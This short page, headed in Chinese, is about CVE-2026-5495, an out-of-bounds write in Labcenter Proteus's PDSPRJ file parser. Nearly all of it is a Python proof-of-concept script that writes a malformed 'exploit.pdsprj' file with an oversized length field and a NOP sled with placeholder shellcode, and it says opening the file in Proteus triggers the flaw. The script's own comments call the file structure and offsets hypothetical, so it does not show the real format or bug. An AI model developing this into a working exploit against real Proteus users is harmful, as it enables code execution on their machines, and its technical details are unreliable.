CVE-2026-5495 Proteus PDSPRJ文件解析越界写入致远程代码执行漏洞

import struct # Proof of Concept (PoC) for CVE-2026-5495 # This script generates a malformed PDSPRJ file to trigger the Out-Of-Bounds Write. # Note: The specific offset and padding values are hypothetical for demonstration. def generate_malicious_pdsprj(filename): # File header (Hypothetical structure) header = b"PDSPRJ_PROJECT_FILE" # Padding to reach the vulnerable parser section padding = b"\x00" * 0x50 # Malicious data block designed to trigger the buffer overflow # Length field set to a large value to bypass checks or cause overflow overflow_length = struct.pack('<I', 0xFFFFFFFF) # Payload (e.g., NOP sled + Shellcode placeholder) # In a real scenario, this would be specific to the target version and OS payload = b"\x90" * 100 + b"\xCC" * 4 with open(filename, 'wb') as f: f.write(header) f.write(padding) f.write(overflow_length) f.write(payload) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Open this file in Labcenter Proteus to trigger the vulnerability.") if __name__ == "__main__": generate_malicious_pdsprj('exploit.pdsprj')